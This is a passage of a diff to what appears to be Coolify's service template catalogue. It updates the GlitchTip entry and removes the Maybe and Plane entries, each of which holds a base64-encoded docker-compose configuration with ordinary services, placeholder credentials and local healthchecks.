0RBVEFCQVNFOi1nbGl0Y2h0aXB9JwogICAgICAtIFNFQ1JFVF9LRVk9JFNFUlZJQ0VfQkFTRTY0XzY0X0VOQ1JZUFRJT04KICAgICAgLSAnRU1BSUxfVVJMPSR7RU1BSUxfVVJMOi1jb25zb2xlbWFpbDovL30nCiAgICAgIC0gJ0dMSVRDSFRJUF9ET01BSU49JHtTRVJWSUNFX0ZRRE5fR0xJVENIVElQfScKICAgICAgLSAnREVGQVVMVF9GUk9NX0VNQUlMPSR7REVGQVVMVF9GUk9NX0VNQUlMOi10ZXN0QGV4YW1wbGUuY29tfScKICAgICAgLSAnQ0VMRVJZX1dPUktFUl9BVVRPU0NBTEU9JHtDRUxFUllfV09SS0VSX0FVVE9TQ0FMRTotMSwzfScKICAgICAgLSAnQ0VMRVJZX1dPUktFUl9NQVhfVEFTS1NfUEVSX0NISUxEPSR7Q0VMRVJZX1dPUktFUl9NQVhfVEFTS1NfUEVSX0NISUxEOi0xMDAwMH0nCiAgICB2b2x1bWVzOgogICAgICAtICd1cGxvYWRzOi9jb2RlL3VwbG9hZHMnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gZWNobwogICAgICAgIC0gb2sKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIG1pZ3JhdGU6CiAgICBpbWFnZTogZ2xpdGNodGlwL2dsaXRjaHRpcAogICAgcmVzdGFydDogJ25vJwogICAgZGVwZW5kc19vbjoKICAgICAgcG9zdGdyZXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgcmVkaXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIGNvbW1hbmQ6ICcuL21hbmFnZS5weSBtaWdyYXRlJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ0RBVEFCQVNFX1VSTD1wb3N0Z3JlczovLyRTRVJWSUNFX1VTRVJfUE9TVEdSRVNRTDokU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU1FMQHBvc3RncmVzOjU0MzIvJHtQT1NUR1JFU1FMX0RBVEFCQVNFOi1nbGl0Y2h0aXB9JwogICAgICAtIFNFQ1JFVF9LRVk9JFNFUlZJQ0VfQkFTRTY0XzY0X0VOQ1JZUFRJT04KICAgICAgLSAnRU1BSUxfVVJMPSR7RU1BSUxfVVJMOi1jb25zb2xlbWFpbDovL30nCiAgICAgIC0gJ0RFRkFVTFRfRlJPTV9FTUFJTD0ke0RFRkFVTFRfRlJPTV9FTUFJTDotdGVzdEBleGFtcGxlLmNvbX0nCiAgICAgIC0gJ0NFTEVSWV9XT1JLRVJfQVVUT1NDQUxFPSR7Q0VMRVJZX1dPUktFUl9BVVRPU0NBTEU6LTEsM30nCiAgICAgIC0gJ0NFTEVSWV9XT1JLRVJfTUFYX1RBU0tTX1BFUl9DSElMRD0ke0NFTEVSWV9XT1JLRVJfTUFYX1RBU0tTX1BFUl9DSElMRDotMTAwMDB9Jwo=", + "slogan": "GlitchTip is a error tracking system.", + "compose": "c2VydmljZXM6CiAgcG9zdGdyZXM6CiAgICBpbWFnZTogJ3Bvc3RncmVzOjE2LWFscGluZScKICAgIGVudmlyb25tZW50OgogICAgICAtICdQT1NUR1JFU19VU0VSPSR7U0VSVklDRV9VU0VSX1BPU1RHUkVTUUx9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVNRTH0nCiAgICAgIC0gJ1BPU1RHUkVTX0RCPSR7UE9TVEdSRVNRTF9EQVRBQkFTRTotZ2xpdGNodGlwfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2dsaXRjaHRpcC1wb3N0Z3Jlcy1kYXRhOi92YXIvbGliL3Bvc3RncmVzcWwvZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAncGdfaXNyZWFkeSAtVSAkJHtQT1NUR1JFU19VU0VSfSAtZCAkJHtQT1NUR1JFU19EQn0nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICByZWRpczoKICAgIGltYWdlOiByZWRpcwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIHJlZGlzLWNsaQogICAgICAgIC0gcGluZwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgd2ViOgogICAgaW1hZ2U6ICdnbGl0Y2h0aXAvZ2xpdGNodGlwOjYuMCcKICAgIGRlcGVuZHNfb246CiAgICAgIHBvc3RncmVzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICAgIHJlZGlzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX0ZRRE5fR0xJVENIVElQXzgwMDAKICAgICAgLSAnREFUQUJBU0VfVVJMPXBvc3RncmVzOi8vJFNFUlZJQ0VfVVNFUl9QT1NUR1JFU1FMOiRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTUUxAcG9zdGdyZXM6NTQzMi8ke1BPU1RHUkVTUUxfREFUQUJBU0U6LWdsaXRjaHRpcH0nCiAgICAgIC0gU0VDUkVUX0tFWT0kU0VSVklDRV9CQVNFNjRfNjRfRU5DUllQVElPTgogICAgICAtICdFTUFJTF9VUkw9JHtFTUFJTF9VUkw6LWNvbnNvbGVtYWlsOi8vfScKICAgICAgLSAnR0xJVENIVElQX0RPTUFJTj0ke1NFUlZJQ0VfRlFETl9HTElUQ0hUSVB9JwogICAgICAtICdERUZBVUxUX0ZST01fRU1BSUw9JHtERUZBVUxUX0ZST01fRU1BSUw6LXRlc3RAZXhhbXBsZS5jb219JwogICAgICAtICdDRUxFUllfV09SS0VSX0FVVE9TQ0FMRT0ke0NFTEVSWV9XT1JLRVJfQVVUT1NDQUxFOi0xLDN9JwogICAgICAtICdDRUxFUllfV09SS0VSX01BWF9UQVNLU19QRVJfQ0hJTEQ9JHtDRUxFUllfV09SS0VSX01BWF9UQVNLU19QRVJfQ0hJTEQ6LTEwMDAwfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3VwbG9hZHM6L2NvZGUvdXBsb2FkcycKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBlY2hvCiAgICAgICAgLSBvawogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgd29ya2VyOgogICAgaW1hZ2U6ICdnbGl0Y2h0aXAvZ2xpdGNodGlwOjYuMCcKICAgIGNvbW1hbmQ6IC4vYmluL3J1bi1jZWxlcnktd2l0aC1iZWF0LnNoCiAgICBkZXBlbmRzX29uOgogICAgICBwb3N0Z3JlczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICByZWRpczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ0RBVEFCQVNFX1VSTD1wb3N0Z3JlczovLyRTRVJWSUNFX1VTRVJfUE9TVEdSRVNRTDokU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU1FMQHBvc3RncmVzOjU0MzIvJHtQT1NUR1JFU1FMX0RBVEFCQVNFOi1nbGl0Y2h0aXB9JwogICAgICAtIFNFQ1JFVF9LRVk9JFNFUlZJQ0VfQkFTRTY0XzY0X0VOQ1JZUFRJT04KICAgICAgLSAnRU1BSUxfVVJMPSR7RU1BSUxfVVJMOi1jb25zb2xlbWFpbDovL30nCiAgICAgIC0gJ0dMSVRDSFRJUF9ET01BSU49JHtTRVJWSUNFX0ZRRE5fR0xJVENIVElQfScKICAgICAgLSAnREVGQVVMVF9GUk9NX0VNQUlMPSR7REVGQVVMVF9GUk9NX0VNQUlMOi10ZXN0QGV4YW1wbGUuY29tfScKICAgICAgLSAnQ0VMRVJZX1dPUktFUl9BVVRPU0NBTEU9JHtDRUxFUllfV09SS0VSX0FVVE9TQ0FMRTotMSwzfScKICAgICAgLSAnQ0VMRVJZX1dPUktFUl9NQVhfVEFTS1NfUEVSX0NISUxEPSR7Q0VMRVJZX1dPUktFUl9NQVhfVEFTS1NfUEVSX0NISUxEOi0xMDAwMH0nCiAgICB2b2x1bWVzOgogICAgICAtICd1cGxvYWRzOi9jb2RlL3VwbG9hZHMnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gZWNobwogICAgICAgIC0gb2sKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIG1pZ3JhdGU6CiAgICBpbWFnZTogJ2dsaXRjaHRpcC9nbGl0Y2h0aXA6Ni4wJwogICAgcmVzdGFydDogJ25vJwogICAgZGVwZW5kc19vbjoKICAgICAgcG9zdGdyZXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgcmVkaXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIGNvbW1hbmQ6ICcuL21hbmFnZS5weSBtaWdyYXRlJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ0RBVEFCQVNFX1VSTD1wb3N0Z3JlczovLyRTRVJWSUNFX1VTRVJfUE9TVEdSRVNRTDokU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU1FMQHBvc3RncmVzOjU0MzIvJHtQT1NUR1JFU1FMX0RBVEFCQVNFOi1nbGl0Y2h0aXB9JwogICAgICAtIFNFQ1JFVF9LRVk9JFNFUlZJQ0VfQkFTRTY0XzY0X0VOQ1JZUFRJT04KICAgICAgLSAnRU1BSUxfVVJMPSR7RU1BSUxfVVJMOi1jb25zb2xlbWFpbDovL30nCiAgICAgIC0gJ0RFRkFVTFRfRlJPTV9FTUFJTD0ke0RFRkFVTFRfRlJPTV9FTUFJTDotdGVzdEBleGFtcGxlLmNvbX0nCiAgICAgIC0gJ0NFTEVSWV9XT1JLRVJfQVVUT1NDQUxFPSR7Q0VMRVJZX1dPUktFUl9BVVRPU0NBTEU6LTEsM30nCiAgICAgIC0gJ0NFTEVSWV9XT1JLRVJfTUFYX1RBU0tTX1BFUl9DSElMRD0ke0NFTEVSWV9XT1JLRVJfTUFYX1RBU0tTX1BFUl9DSElMRDotMTAwMDB9Jwo=", "tags": [ "error", "tracking", - "open-source", - "self-hosted", "sentry" ], "category": "monitoring", "logo": "svgs/glitchtip.png", "minversion": "0.0.0", - "port": "8080" + "port": "8000" }, "glpi": { "documentation": "https://help.glpi-project.org/documentation?utm_source=coolify.io", @@ -2681,24 +2679,6 @@ "minversion": "0.0.0", "port": "8065" }, - "maybe": { - "documentation": "https://github.com/maybe-finance/maybe?utm_source=coolify.io", - "slogan": "Maybe, the OS for your personal finances.", - "compose": "c2VydmljZXM6CiAgbWF5YmU6CiAgICBpbWFnZTogJ2doY3IuaW8vbWF5YmUtZmluYW5jZS9tYXliZTpsYXRlc3QnCiAgICB2b2x1bWVzOgogICAgICAtICdhcHBfc3RvcmFnZTovcmFpbHMvc3RvcmFnZScKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfRlFETl9NQVlCRQogICAgICAtIFNFTEZfSE9TVEVEPXRydWUKICAgICAgLSAnUkFJTFNfRk9SQ0VfU1NMPSR7UkFJTFNfRk9SQ0VfU1NMOi1mYWxzZX0nCiAgICAgIC0gJ1JBSUxTX0FTU1VNRV9TU0w9JHtSQUlMU19BU1NVTUVfU1NMOi1mYWxzZX0nCiAgICAgIC0gJ0dPT0RfSk9CX0VYRUNVVElPTl9NT0RFPSR7R09PRF9KT0JfRVhFQ1VUSU9OX01PREU6LWFzeW5jfScKICAgICAgLSAnU0VDUkVUX0tFWV9CQVNFPSR7U0VSVklDRV9CQVNFNjRfNjRfU0VDUkVUS0VZQkFTRX0nCiAgICAgIC0gREJfSE9TVD1wb3N0Z3JlcwogICAgICAtICdQT1NUR1JFU19EQj0ke1BPU1RHUkVTX0RCOi1tYXliZS1kYn0nCiAgICAgIC0gJ1BPU1RHUkVTX1VTRVI9JHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtIERCX1BPUlQ9NTQzMgogICAgICAtICdSRURJU19VUkw9cmVkaXM6Ly9kZWZhdWx0OiR7U0VSVklDRV9QQVNTV09SRF9SRURJU31AcmVkaXM6NjM3OS8xJwogICAgICAtICdPUEVOQUlfQUNDRVNTX1RPS0VOPSR7T1BFTkFJX0FDQ0VTU19UT0tFTn0nCiAgICBkZXBlbmRzX29uOgogICAgICBwb3N0Z3JlczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICByZWRpczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGN1cmwKICAgICAgICAtICctZicKICAgICAgICAtICdodHRwOi8vbG9jYWxob3N0OjMwMDAnCiAgICAgIGludGVydmFsOiAxMHMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDUKICB3b3JrZXI6CiAgICBpbWFnZTogJ2doY3IuaW8vbWF5YmUtZmluYW5jZS9tYXliZTpsYXRlc3QnCiAgICBjb21tYW5kOiAnYnVuZGxlIGV4ZWMgc2lkZWtpcScKICAgIGVudmlyb25tZW50OgogICAgICAtICdQT1NUR1JFU19VU0VSPSR7U0VSVklDRV9VU0VSX1BPU1RHUkVTfScKICAgICAgLSAnUE9TVEdSRVNfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfScKICAgICAgLSAnUE9TVEdSRVNfREI9JHtQT1NUR1JFU19EQjotbWF5YmUtZGJ9JwogICAgICAtICdTRUNSRVRfS0VZX0JBU0U9JHtTRVJWSUNFX0JBU0U2NF82NF9TRUNSRVRLRVlCQVNFfScKICAgICAgLSBTRUxGX0hPU1RFRD10cnVlCiAgICAgIC0gJ1JBSUxTX0ZPUkNFX1NTTD0ke1JBSUxTX0ZPUkNFX1NTTDotZmFsc2V9JwogICAgICAtICdSQUlMU19BU1NVTUVfU1NMPSR7UkFJTFNfQVNTVU1FX1NTTDotZmFsc2V9JwogICAgICAtICdHT09EX0pPQl9FWEVDVVRJT05fTU9ERT0ke0dPT0RfSk9CX0VYRUNVVElPTl9NT0RFOi1hc3luY30nCiAgICAgIC0gREJfSE9TVD1wb3N0Z3JlcwogICAgICAtIERCX1BPUlQ9NTQzMgogICAgICAtICdSRURJU19VUkw9cmVkaXM6Ly9kZWZhdWx0OiR7U0VSVklDRV9QQVNTV09SRF9SRURJU31AcmVkaXM6NjM3OS8xJwogICAgICAtICdPUEVOQUlfQUNDRVNTX1RPS0VOPSR7T1BFTkFJX0FDQ0VTU19UT0tFTn0nCiAgICBkZXBlbmRzX29uOgogICAgICBwb3N0Z3JlczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICByZWRpczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgZXhjbHVkZV9mcm9tX2hjOiB0cnVlCiAgcG9zdGdyZXM6CiAgICBpbWFnZTogJ3Bvc3RncmVzOjE2LWFscGluZScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ21heWJlX3Bvc3RncmVzX2RhdGE6L3Zhci9saWIvcG9zdGdyZXNxbC9kYXRhJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ1BPU1RHUkVTX1VTRVI9JHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19EQj0ke1BPU1RHUkVTX0RCOi1tYXliZS1kYn0nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3BnX2lzcmVhZHkgLVUgJCR7UE9TVEdSRVNfVVNFUn0gLWQgJCR7UE9TVEdSRVNfREJ9JwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgcmVkaXM6CiAgICBpbWFnZTogJ3JlZGlzOjgtYWxwaW5lJwogICAgY29tbWFuZDogJ3JlZGlzLXNlcnZlciAtLWFwcGVuZG9ubHkgeWVzIC0tcmVxdWlyZXBhc3MgJHtTRVJWSUNFX1BBU1NXT1JEX1JFRElTfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3JlZGlzX2RhdGE6L2RhdGEnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnUkVESVNfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX1JFRElTfScKICAgICAgLSBSRURJU19QT1JUPTYzNzkKICAgICAgLSBSRURJU19EQj0xCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gcmVkaXMtY2xpCiAgICAgICAgLSAnLS1wYXNzJwogICAgICAgIC0gJyR7U0VSVklDRV9QQVNTV09SRF9SRURJU30nCiAgICAgICAgLSBwaW5nCiAgICAgIGludGVydmFsOiAxMHMKICAgICAgdGltZW91dDogM3MKICAgICAgcmV0cmllczogMwo=", - "tags": [ - "finances", - "wallets", - "coins", - "stocks", - "investments", - "open", - "source" - ], - "category": "productivity", - "logo": "svgs/maybe.svg", - "minversion": "0.0.0", - "port": "3000" - }, "mealie": { "documentation": "https://docs.mealie.io/?utm_source=coolify.io", "slogan": "A recipe manager and meal planner.", @@ -3678,27 +3658,6 @@ "minversion": "0.0.0", "port": "80" }, - "plane": { - "documentation": "https://docs.plane.so/self-hosting/methods/docker-compose?utm_source=coolify.io", - "slogan": "The open source project management tool", - "compose": "eC1kYi1lbnY6CiAgUEdIT1NUOiBwbGFuZS1kYgogIFBHREFUQUJBU0U6IHBsYW5lCiAgUE9TVEdSRVNfVVNFUjogJFNFUlZJQ0VfVVNFUl9QT1NUR1JFUwogIFBPU1RHUkVTX1BBU1NXT1JEOiAkU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFUwogIFBPU1RHUkVTX0RCOiBwbGFuZQogIFBPU1RHUkVTX1BPUlQ6IDU0MzIKICBQR0RBVEE6IC92YXIvbGliL3Bvc3RncmVzcWwvZGF0YQp4LXJlZGlzLWVudjoKICBSRURJU19IT1NUOiAnJHtSRURJU19IT1NUOi1wbGFuZS1yZWRpc30nCiAgUkVESVNfUE9SVDogJyR7UkVESVNfUE9SVDotNjM3OX0nCiAgUkVESVNfVVJMOiAnJHtSRURJU19VUkw6LXJlZGlzOi8vcGxhbmUtcmVkaXM6NjM3OS99Jwp4LW1pbmlvLWVudjoKICBNSU5JT19ST09UX1VTRVI6ICRTRVJWSUNFX1VTRVJfTUlOSU8KICBNSU5JT19ST09UX1BBU1NXT1JEOiAkU0VSVklDRV9QQVNTV09SRF9NSU5JTwp4LWF3cy1zMy1lbnY6CiAgQVdTX1JFR0lPTjogJyR7QVdTX1JFR0lPTjotfScKICBBV1NfQUNDRVNTX0tFWV9JRDogJFNFUlZJQ0VfVVNFUl9NSU5JTwogIEFXU19TRUNSRVRfQUNDRVNTX0tFWTogJFNFUlZJQ0VfUEFTU1dPUkRfTUlOSU8KICBBV1NfUzNfRU5EUE9JTlRfVVJMOiAnJHtBV1NfUzNfRU5EUE9JTlRfVVJMOi1odHRwOi8vcGxhbmUtbWluaW86OTAwMH0nCiAgQVdTX1MzX0JVQ0tFVF9OQU1FOiAnJHtBV1NfUzNfQlVDS0VUX05BTUU6LXVwbG9hZHN9Jwp4LW1xLWVudjoKICBSQUJCSVRNUV9IT1NUOiBwbGFuZS1tcQogIFJBQkJJVE1RX1BPUlQ6ICcke1JBQkJJVE1RX1BPUlQ6LTU2NzJ9JwogIFJBQkJJVE1RX0RFRkFVTFRfVVNFUjogJyR7U0VSVklDRV9VU0VSX1JBQkJJVE1ROi1wbGFuZX0nCiAgUkFCQklUTVFfREVGQVVMVF9QQVNTOiAnJHtTRVJWSUNFX1BBU1NXT1JEX1JBQkJJVE1ROi1wbGFuZX0nCiAgUkFCQklUTVFfREVGQVVMVF9WSE9TVDogJyR7UkFCQklUTVFfVkhPU1Q6LXBsYW5lfScKICBSQUJCSVRNUV9WSE9TVDogJyR7UkFCQklUTVFfVkhPU1Q6LXBsYW5lfScKeC1saXZlLWVudjoKICBBUElfQkFTRV9VUkw6ICcke0FQSV9CQVNFX1VSTDotaHR0cDovL2FwaTo4MDAwfScKeC1hcHAtZW52OgogIEFQUF9SRUxFQVNFOiAnJHtBUFBfUkVMRUFTRTotdjEuMC4wfScKICBXRUJfVVJMOiAnJHtTRVJWSUNFX0ZRRE5fUExBTkV9JwogIERFQlVHOiAnJHtERUJVRzotMH0nCiAgQ09SU19BTExPV0VEX09SSUdJTlM6ICcke0NPUlNfQUxMT1dFRF9PUklHSU5TOi1odHRwOi8vbG9jYWxob3N0fScKICBHVU5JQ09STl9XT1JLRVJTOiAnJHtHVU5JQ09STl9XT1JLRVJTOi0xfScKICBVU0VfTUlOSU86ICcke1VTRV9NSU5JTzotMX0nCiAgREFUQUJBU0VfVVJMOiAncG9zdGdyZXNxbDovLyRTRVJWSUNFX1VTRVJfUE9TVEdSRVM6JFNFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVNAcGxhbmUtZGIvcGxhbmUnCiAgU0VDUkVUX0tFWTogJFNFUlZJQ0VfUEFTU1dPUkRfNjRfU0VDUkVUS0VZCiAgQU1RUF9VUkw6ICdhbXFwOi8vJHtTRVJWSUNFX1VTRVJfUkFCQklUTVF9OiR7U0VSVklDRV9QQVNTV09SRF9SQUJCSVRNUX1AcGxhbmUtbXE6JHtSQUJCSVRNUV9QT1JUOi01NjcyfS9wbGFuZScKICBBUElfS0VZX1JBVEVfTElNSVQ6ICcke0FQSV9LRVlfUkFURV9MSU1JVDotNjAvbWludXRlfScKICBNSU5JT19FTkRQT0lOVF9TU0w6ICcke01JTklPX0VORFBPSU5UX1NTTDotMH0nCnNlcnZpY2VzOgogIHByb3h5OgogICAgaW1hZ2U6ICdhcnRpZmFjdHMucGxhbmUuc28vbWFrZXBsYW5lL3BsYW5lLXByb3h5OiR7QVBQX1JFTEVBU0U6LXYxLjAuMH0nCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX0ZRRE5fUExBTkUKICAgICAgLSAnQVBQX0RPTUFJTj0ke1NFUlZJQ0VfRlFETl9QTEFORX0nCiAgICAgIC0gJ1NJVEVfQUREUkVTUz06ODAnCiAgICAgIC0gJ0ZJTEVfU0laRV9MSU1JVD0ke0ZJTEVfU0laRV9MSU1JVDotNTI0Mjg4MH0nCiAgICAgIC0gJ0JVQ0tFVF9OQU1FPSR7QVdTX1MzX0JVQ0tFVF9OQU1FOi11cGxvYWRzfScKICAgIGRlcGVuZHNfb246CiAgICAgIC0gd2ViCiAgICAgIC0gYXBpCiAgICAgIC0gc3BhY2UKICAgICAgLSBhZG1pbgogICAgICAtIGxpdmUKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBjdXJsCiAgICAgICAgLSAnLWYnCiAgICAgICAgLSAnaHR0cDovLzEyNy4wLjAuMTo4MCcKICAgICAgaW50ZXJ2YWw6IDJzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAxNQogIHdlYjoKICAgIGltYWdlOiAnYXJ0aWZhY3RzLnBsYW5lLnNvL21ha2VwbGFuZS9wbGFuZS1mcm9udGVuZDoke0FQUF9SRUxFQVNFOi12MS4wLjB9JwogICAgZGVwZW5kc19vbjoKICAgICAgLSBhcGkKICAgICAgLSB3b3JrZXIKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OiAnd2dldCAtcU8tIGh0dHA6Ly9gaG9zdG5hbWVgOjMwMDAnCiAgICAgIGludGVydmFsOiAycwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMTUKICBzcGFjZToKICAgIGltYWdlOiAnYXJ0aWZhY3RzLnBsYW5lLnNvL21ha2VwbGFuZS9wbGFuZS1zcGFjZToke0FQUF9SRUxFQVNFOi12MS4wLjB9JwogICAgZGVwZW5kc19vbjoKICAgICAgLSBhcGkKICAgICAgLSB3b3JrZXIKICAgICAgLSB3ZWIKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBlY2hvCiAgICAgICAgLSAnaGV5IHdoYXRzIHVwJwogICAgICBpbnRlcnZhbDogMnMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDE1CiAgYWRtaW46CiAgICBpbWFnZTogJ2FydGlmYWN0cy5wbGFuZS5zby9tYWtlcGxhbmUvcGxhbmUtYWRtaW46JHtBUFBfUkVMRUFTRTotdjEuMC4wfScKICAgIGRlcGVuZHNfb246CiAgICAgIC0gYXBpCiAgICAgIC0gd2ViCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gZWNobwogICAgICAgIC0gJ2hleSB3aGF0cyB1cCcKICAgICAgaW50ZXJ2YWw6IDJzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAxNQogIGxpdmU6CiAgICBpbWFnZTogJ2FydGlmYWN0cy5wbGFuZS5zby9tYWtlcGxhbmUvcGxhbmUtbGl2ZToke0FQUF9SRUxFQVNFOi12MS4wLjB9JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIEFQSV9CQVNFX1VSTDogJyR7QVBJX0JBU0VfVVJMOi1odHRwOi8vYXBpOjgwMDB9JwogICAgICBSRURJU19IT1NUOiAnJHtSRURJU19IT1NUOi1wbGFuZS1yZWRpc30nCiAgICAgIFJFRElTX1BPUlQ6ICcke1JFRElTX1BPUlQ6LTYzNzl9JwogICAgICBSRURJU19VUkw6ICcke1JFRElTX1VSTDotcmVkaXM6Ly9wbGFuZS1yZWRpczo2Mzc5L30nCiAgICBkZXBlbmRzX29uOgogICAgICAtIGFwaQogICAgICAtIHdlYgogICAgICAtIHBsYW5lLXJlZGlzCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gZWNobwogICAgICAgIC0gJ2hleSB3aGF0cyB1cCcKICAgICAgaW50ZXJ2YWw6IDJzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAxNQogIGFwaToKICAgIGltYWdlOiAnYXJ0aWZhY3RzLnBsYW5lLnNvL21ha2VwbGFuZS9wbGFuZS1iYWNrZW5kOiR7QVBQX1JFTEVBU0U6LXYxLjAuMH0nCiAgICBjb21tYW5kOiAuL2Jpbi9kb2NrZXItZW50cnlwb2ludC1hcGkuc2gKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2xvZ3NfYXBpOi9jb2RlL3BsYW5lL2xvZ3MnCiAgICBlbnZpcm9ubWVudDoKICAgICAgQVBQX1JFTEVBU0U6ICcke0FQUF9SRUxFQVNFOi12MS4wLjB9JwogICAgICBXRUJfVVJMOiAnJHtTRVJWSUNFX0ZRRE5fUExBTkV9JwogICAgICBERUJVRzogJyR7REVCVUc6LTB9JwogICAgICBDT1JTX0FMTE9XRURfT1JJR0lOUzogJyR7Q09SU19BTExPV0VEX09SSUdJTlM6LWh0dHA6Ly9sb2NhbGhvc3R9JwogICAgICBHVU5JQ09STl9XT1JLRVJTOiAnJHtHVU5JQ09STl9XT1JLRVJTOi0xfScKICAgICAgVVNFX01JTklPOiAnJHtVU0VfTUlOSU86LTF9JwogICAgICBEQVRBQkFTRV9VUkw6ICdwb3N0Z3Jlc3FsOi8vJFNFUlZJQ0VfVVNFUl9QT1NUR1JFUzokU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU0BwbGFuZS1kYi9wbGFuZScKICAgICAgU0VDUkVUX0tFWTogJFNFUlZJQ0VfUEFTU1dPUkRfNjRfU0VDUkVUS0VZCiAgICAgIEFNUVBfVVJMOiAnYW1xcDovLyR7U0VSVklDRV9VU0VSX1JBQkJJVE1RfToke1NFUlZJQ0VfUEFTU1dPUkRfUkFCQklUTVF9QHBsYW5lLW1xOiR7UkFCQklUTVFfUE9SVDotNTY3Mn0vcGxhbmUnCiAgICAgIEFQSV9LRVlfUkFURV9MSU1JVDogJyR7QVBJX0tFWV9SQVRFX0xJTUlUOi02MC9taW51dGV9JwogICAgICBNSU5JT19FTkRQT0lOVF9TU0w6ICcke01JTklPX0VORFBPSU5UX1NTTDotMH0nCiAgICAgIFBHSE9TVDogcGxhbmUtZGIKICAgICAgUEdEQVRBQkFTRTogcGxhbmUKICAgICAgUE9TVEdSRVNfVVNFUjogJFNFUlZJQ0VfVVNFUl9QT1NU